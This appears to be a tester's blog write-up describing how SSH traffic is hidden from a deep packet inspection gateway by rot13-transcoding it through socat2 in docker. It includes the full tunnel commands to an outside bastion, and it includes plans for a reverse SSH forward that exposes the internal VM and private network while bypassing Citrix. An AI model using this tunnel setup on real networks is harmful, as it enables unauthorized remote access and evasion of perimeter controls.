I have a Linux virtual machine inside a customer's private network. For security, this VM is reachable only via VPN + Citrix + Windows + a Windows SSH client (eg PuTTY). I am tasked to ensure this Citrix design is secure, and users can not access their Linux VM's or other resources on the internal private network in any way outside of using Citrix.
The VM can access the internet. This task should be easy. The VM's internet gateway allows it to connect anywhere on the internet to TCP ports 80, 443, and 8090 only. Connecting to an internet bastion box on one of these ports works and I can send and receive clear text data using netcat. I plan to use good old SSH, listening on tcp/8090 on the bastion, with a reverse port forward configured to expose sshd on the VM to the public, to show their Citrix gateway can be circumvented.
I hit an immediate snag. The moment I try to establish an SSH or SSL connection over one of the allowed ports, the connection gets immediately closed. They must have a sentinel device at their gateway doing inspection of TCP packet payloads. They permit SSL to some known websites (for https), but the moment I try to create an SSL or SSH connection to an unknown server (eg. to the bastion box), their gateway instantly terminates the TCP connection!
I figured it must be a deep packet inspector blocking me, a sentinel watching the conversation. In the case of SSH it may watch the protocol banner, the SSH-2.0-OpenSSH_8.7
bit at the beginning, or it might be looking for signatures anywhere in the conversation to identify it. If it detects an SSL or SSH conversation with a non-whitelisted host, it kills the connection.
So, I figure, why not do a rot13 over the entire conversation. Rot13, aka the Caesar Cypher, was developed circa 50 B.C. by Gaius Julius Caesar, which he used to protect messages of military significance. Being a simple mapping of the alphabet to itself rotated N times, thus having a key space of only 25, it would be amusing to use this ancient "encryption" method as a tool in a modern exploit. Scrambling the alphabetic characters of an SSH or SSL conversation in such a way should hopefully throw the deep packet inspection sentinel off the scent and allow the traffic to pass.
Rot13 is commonly installed from the bsdgames package in Linux. I tasked myself with building a rot13 transcoder pipeline, applying rot13 on every TCP message leaving the VM on a specific port, letting it go through the gateway's sentinel, and un-rot13 (or reapplying it with key=13) it back to its original form (and do same in reverse direction), and having the SSH client and server sit either side of this transcoder. Thus the OpenSSH banner would become FFU-2.0-BcraFFU_8.7
and the sentinel should let that (and the rest of the conversation) through. This sounded like a task for the socat tool, in particular the socat v2 feature of supporting unidirectional dual inter address chaining, see here: http://www.dest-unreach.org/socat/doc/socat-addresschain.html
To test, I used docker to install socat2 on either end, available ready to go via docker hub: timotto/docker-socat2. The invocations are as follows.
sshd is listening on tcp/22 as usual. We invoke the docker container, mapping the host to fqdn host.docker.internal
inside container:
docker run -it -p 8090:8090 --add-host host.docker.internal:$(ip addr show docker0 | grep -Po 'inet \K[\d.]+') timotto/docker-socat2 bash
Inside container at bash, install rot13 and start socat2, listening on tcp/8090 on the internet:
# install rot13
apt update; apt install bsdgames -y
# start socat2
socat "system1:stdbuf -o0 -- /usr/games/rot13 % system1:stdbuf -o0 -- /usr/games/rot13 | TCP4-LISTEN:8090,reuseaddr,fork" TCP4:host.docker.internal:22
Notes:
- the
"system1:stdbuf -o0 -- /usr/games/rot13 % system1:stdbuf -o0 -- /usr/games/rot13 | TCP4-LISTEN:8090,reuseaddr,fork"
part listens publically on tcp/8090 and does the rot13 transcoding using socat2's dual inter address chaining - the
TCP4:host.docker.internal:22
part connects to sshd on the bastion, after a connection is made to tcp/8090 on the host stdbuf -o0
is used to flush stdout often, else rot13 will flush per-line only, breaking the SSH protocol causing timeouts
Invoke docker container, again mapping host to host.docker.internal inside container:
docker run -it -p 8090:8090 --add-host host.docker.internal:$(ip addr show docker0 | grep -Po 'inet \K[\d.]+') timotto/docker-socat2 bash
inside container at bash, install rot13 and start socat:
#install rot13
apt update; apt install bsdgames -y
# start socat2
socat TCP4-LISTEN:8090,reuseaddr,fork "system1:stdbuf -o0 -- /usr/games/rot13 % system1:stdbuf -o0 -- /usr/games/rot13 | TCP4-CONNECT:<bastion_host>:8090"
Notes:
- the
TCP4-LISTEN:8090,reuseaddr,fork
listens on 8090 on the VM - the
"system1:stdbuf -o0 -- /usr/games/rot13 % system1:stdbuf -o0 -- /usr/games/rot13 | TCP4-CONNECT:<bastion_host>:8090"
connects to the bastion on tcp/8090 and does the rot13 transcoding
On another bash shell of the protected VM (eg. in another tmux window/pane):
# ssh to the bastion
ssh user@localhost -p8090
Boom, we get a connection, can login and get a shell. A quick tcpdump confirms all data is being scrambled by the ancient rot13 cypher. We're in :)
We can now SSH from the VM to a bastion on the internet using a rot13 transcoder on the TCP stream to hide from a deep packet inspector. Now, as originally planned, we can do the usual ssh -R (reverse port forward) to expose sshd on the protected VM, and anyone can SSH to it from anywhere on the internet via the bastion directly. From here, using usual SSH port forwarding techniques, in conjunction with for example ssh-encapsulated OpenVPN, access can be gained to any resource on the private network via the bastion in our control, bypassing Citrix completely.
This again shows that systems that can access the internet in some way or another can usually be compromised, even with deep packet inspecting sentinels at the perimeter.
Thanks to Julius Caesar for first implementing the encoder used in this task back in ~50 B.C. and helping to crack a modern packet inspecting firewall some 2071 years later :)
Nice, one could also use QR code in one direction and a button click to morse to send data back to the world.